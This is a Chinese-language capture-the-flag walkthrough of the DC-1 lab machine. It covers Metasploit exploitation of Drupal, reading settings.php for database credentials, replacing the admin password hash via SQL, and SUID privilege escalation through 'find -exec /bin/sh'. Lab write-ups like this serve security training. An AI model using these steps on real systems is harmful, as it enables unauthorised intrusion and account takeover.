靶机信息
靶机下载地址:https://www.five86.com/dc-1.html
下载完成后,运行文件夹中的.ova文件即可安装靶机(vmware)
网络连接方式为NAT,kali与靶机为同一网段
信息搜集
我这里使用的是fscan对目标网段进行扫描
一般排除一下就可以确定目标主机了,目标主机为192.168.48.132
在msf里搜索下关于drupal的漏洞信息,发现与扫描结果里有相同的漏洞,sql注入的
漏洞利用
利用该漏洞,并设置参数
网上对于该漏洞大部分设置的是8080端口,由于靶机没开放该端口,这里设置成80端口
set targeturi 192.168.48.132 //目标路径
set RHOSTS 192.168.48.132 //目标ip
set RPORT 80 //目标端口
show options //查看该模块设置参数
设置完参数后,输入exploit开始攻击
等待一会儿后,攻击成功,获取到目标服务器权限
ls 查看当前路径下的文件,发现有个flag1.txt
查看下flag1的内容
翻译下,提示了配置文件
查了下drupal配置文件的路径为/site/default/settings.php,查看下配置文件
在文件里找到flag2,大概意思是通过下面提到的数据库信息去尝试渗透
然后尝试mysql登录
输入shell开始输入指令,发现报错了
查了下是需要用python转换成标准的shell才能执行
python -c "import pty;pty.spawn('/bin/sh')"
查看drupal数据库下的用户信息
发现用户的密码信息是加密存储的
show databases; 查看数据库
use drupaldb; 切换drupaldb数据库下
show tables; 查看当前数据库下的表
select * from users; 查看user表中的内容
权限提升
又找了下,发现scripts目录下有个password-hash脚本文件
试了下发现不能解密只能加密,但是可以通过生成新密码来替换原有账户密码的hash来进行登录
./scripts/password-hash.sh 123456
然后替换admin密码
update users set pass='$S$DtC5OLY3eqCwo3OAV1HLpTPBdlREsmjj7MWILCkFs2YC6UL9k86c' where name = 'admin';
使用更改后的admin密码登陆网站,找到flag3,看翻译应该就是要提权的意思
里面提到了passwd,查看下/etc/passwd
找到flag4.txt,查看后似乎没什么信息
突然想到flag3提到了perm,可以使用find命令来查找有特殊权限的文件,并尝试find命令提权
find / -perm -u=s -type f 2>/dev/null //使用find命令查看拥有suid权限的文件
find / -name flag4 -exec "whoami" \; //尝试用find执行命令
find / -name flag4 -exec "/bin/sh" \; //使用find命令提权
提权完成后,在root目录下找到最后一个flag